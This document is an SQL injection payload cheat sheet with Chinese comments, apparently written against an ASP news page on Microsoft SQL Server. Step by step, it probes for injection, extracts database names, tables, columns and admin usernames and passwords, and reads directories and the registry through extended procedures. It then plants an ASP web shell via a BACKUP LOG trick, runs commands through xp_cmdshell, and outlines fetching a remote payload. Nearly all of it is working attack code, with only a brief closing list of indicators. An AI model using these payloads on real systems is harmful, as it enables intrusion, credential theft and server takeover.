news_show.ASP?id=15618%20and%201=1 -- 正常 200
news_show.ASP?id=15618%20and%201=2 -- 錯誤 500 → 可注入
news_show.ASP?id=15618%20and%20exists(select * from sysobjects) -- 判斷 SQL Server
news_show.ASP?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0 -- 報錯提取當前用戶
news_show.ASP?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0 -- 提取資料庫名
news_show.ASP?id=15618%20And%20IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)=1 -- 判斷 sysadmin
news_show.ASP?id=15618%20and%20user%2Bchar(124)=0
news_show.ASP?id=15618%20And%20system_user%2Bchar(124)=0
news_show.ASP?id=15618%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as nvarchar(1))%2Bchar(124)=1
news_show.ASP?id=15618%20And%20db_name()%2Bchar(124)=0
char(124) = | 作為分隔符,配合類型轉換錯誤回顯數據0x730079007300610064006D0069006E00 = N'sysadmin'(Unicode 十六進制),繞過關鍵字過濾IS_SRVROLEMEMBER 返回 int,CAST(... AS nvarchar(1)) 強制轉換製造溢位錯誤洩露結果;declare @a int-- 測試多語句執行支援(堆疊查詢)-- 取數量
And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From master..sysdatabases)>0
-- 逐個提取名稱(子查詢+別名 T 繞過單值限制)
And char(124)+(Select Top 1 cast([name] as varchar(8000)) from (Select Top 1 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
And char(124)+(Select Top 1 cast([name] as varchar(8000)) from (Select Top 2 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
-- 修改 Top N 遍歷所有
-- 表數量 (xtype=0x55='U' 用戶表)
And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From news..sysobjects where xtype=0x55)>0
-- 逐個提取
And (Select Top 1 cast(name as nvarchar(4000)) from (Select Top 1 id,name from [news]..[sysobjects] Where xtype=0x55 order by id) T order by id desc)>0
-- 取表 ID
And (Select Top 1 cast(id as nvarchar(20)) from [news].[dbo].[sysobjects] where name='Admin')>0
-- 取欄位名
And (Select Top 1 cast(name as nvarchar(4000))+char(124) from (Select Top 1 colid,name From [news].[dbo].[syscolumns] Where id = 1993058136 Order by colid) T Order by colid desc)>0
-- 取記錄數
And (Select Cast(Count([AdminName]) as nvarchar(4000))+char(124) From [news]..[Admin] Where 1=1)>0
-- 逐行提取 (ISNULL 處理 NULL)
And (Select Top 1 isNull(cast([AdminName] as nvarchar(4000)),char(32))+char(124)+isNull(cast([AdminPassword] as nvarchar(4000)),char(32)) From (Select Top 1 [AdminName],[AdminPassWord] From [news]..[Admin] Where 1=1 Order by [AdminName]) T Order by [AdminName] Desc)>0
;DROP TABLE techguru; CREATE TABLE techguru(subdirectory nvarchar(400), depth tinyint, [file] bit);
;DELETE techguru; INSERT techguru EXEC master..xp_dirtree 'c:\', 1, 1;
-- 逐行讀取 techguru 表
;DROP TABLE techguru; CREATE TABLE techguru(Value nvarchar(4000), Data nvarchar(4000));
;DELETE techguru; INSERT techguru EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/';
-- 讀取 techguru.Data
-- 1. 建立暫存表
create table [dbo].[shit_tmp] ([cmd] [image]);
-- 2. 截斷日誌並寫入 Shell 代碼 (0x3C25657865637574652872657175657374282261222929253E = <%execute(request("a"))%>)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate;
insert into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E);
-- 3. 將 Shell 寫入 Web 目錄
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk = @s with init,no_truncate;
-- 4. 清理
Drop table [shit_tmp];
;CREATE TABLE X_2894(id int IDENTITY(1,1), ResultTxt nvarchar(4000));
INSERT X_2894(ResultTxt) EXEC master.dbo.xp_cmdshell 'Dir C:\';
INSERT X_2894 VALUES ('g_over'); -- 結束標記
-- 循環讀取 X_2894.ResultTxt
;DROP TABLE X_2894;
逐行 echo 寫入 VBS/PowerShell 腳本,再執行下載遠端 Payload。
sysadmin、xp_cmdshell、xp_regread、xp_dirtree、BACKUP LOG ... TO DISKmaster..sysobjects 異常表、sp_configure 危險選項